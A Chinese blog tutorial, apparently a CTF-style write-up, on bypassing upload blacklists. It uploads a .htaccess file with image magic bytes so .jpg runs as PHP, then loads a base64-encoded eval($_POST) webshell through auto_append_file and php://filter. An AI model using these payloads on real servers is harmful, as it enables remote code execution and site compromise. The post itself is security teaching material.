zoukankan      html  css  js  c++  java
  • 文件上传--利用.htaccess绕过黑名单

    前言

    在很多时候有限制文件上传的类型,而黑名单ban了很多相关的后缀,如果没有警用.htaccee那么就能触发getshell

    .htaccess可以把.jpg解析成php

    语法

    AddType application/x-httpd-php .jpg
    

    PHP5

    图像相关的信息检测常用getimagesize( )函数,那么对于.htaccess文件来说,注释有#%00这2个符号,图片头没有#,但是有%00的文件

    比如

    jp2 格式如下

    00 00 00 0c 6a 50 20 20 0d 0a 87 0a(必须)
    

    在图中widthC6

    hight6F,修改对应位置的值即可返回对应的长度

    ico格式如下

    00 00 01 00(必须) 01 00 20 20 (32 * 32的大小) 00 00 01 00 20 00 a8 10 00 00 16 00 00 00 28 00 00 00 20 00 00 00 40 00 00 00 01 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 01 20
    

    所以如果不限制大小可以在.htaccess文件面前加上

    aaaaaa
    

    然后用winhex改成

    00 00 01 00 0a 0d
    

    bwmp格式如下

    00 00 01 01 
    

    表示width1, hight为1

    00 00 8A 39 8A 39
    

    表示width1337, hight1337

    如果大小值>80,那么就会取2位,否则只会取1位

    有了上面的几种情况就可以上传.htaccess文件,并符合其语法

    接下来上传个图片马即可

    然后直接访问图片就被解析成php代码了

    PHP7以后

    有时候有这种情况把<?给waf了,在php7之前可以按上面的<script language>来达到绕过<?php这种情况,但是在php7之后这些标签都是被移除了,因此可以靠base64解码来达到目的

    <?php eval($_POST[1]); ?>
    base64编码后
    PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==
    
    加上文件头,这里用wbmp
    00 00 01 01
    

    因为base64是4个一组,而上面的wbmp头文件刚好4个字节,所以不用补充,如果是png则需要补充很多...

    这里4个字节的图片头建议用gif,刚好4个字节

    47 49 46 38 
    

    所以形成1.gifbase64

    GIF8D9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==
    

    接下来.htaccess的格式是

    00 00 01 01(进hex进制里面修改下)
    AddType application/x-httpd-php .jpg
    php_value auto_append_file "php://filter/read=convert.base64-decode/resource=1.gif"
    

    这里有个2个坑

    坑1:因为是黑名单,如果上传的文件是能被服务器解析的比如jpg能被解析成图片而.abc这样的后缀不会被解析,这里有个区别

    .jpg这种能被解析的文件,在被文件包含时文件头要和扩展名一致才能解析

    .abc这种不会被解析的文件,在被文件包含时文件头任意即可

    坑2:在Server APICGI/FastCGI 时以上的.htaccess脚本是报500错的,我在windows下的phpstudy就是这种解析方式。

    但是在linux下一般情况是Server APIApache 2.0 Handler ,因此以上的.htaccess是能够被解析的

    参考链接:

    https://xz.aliyun.com/t/3937?tdsourcetag=s_pcqq_aiomsg

    https://www.xctf.org.cn/library/details/0c94ff6b44aa5798c34237788e04bd12eca90313/

  • 相关阅读:
    Linux基本网络设置(IP配置等,网卡驱动缓存,网卡中断)
    posix多线程有感线程高级编程(进程的优先级)
    posix多线程有感线程高级编程(均衡负载CPU绑定)
    posix多线程有感线程高级编程(线程调度以及优先级设置)
    linux多线程和锁
    posix多线程有感—sysconf系统变量
    Linux环境下获取网卡连接状态
    posix多线程有感线程高级编程(线程和fork,exec)
    posix多线程有感线程高级编程(线程堆栈)
    Day64:codeblocks安装 for Mac
  • 原文地址:https://www.cnblogs.com/sijidou/p/13111905.html
Copyright © 2011-2022 走看看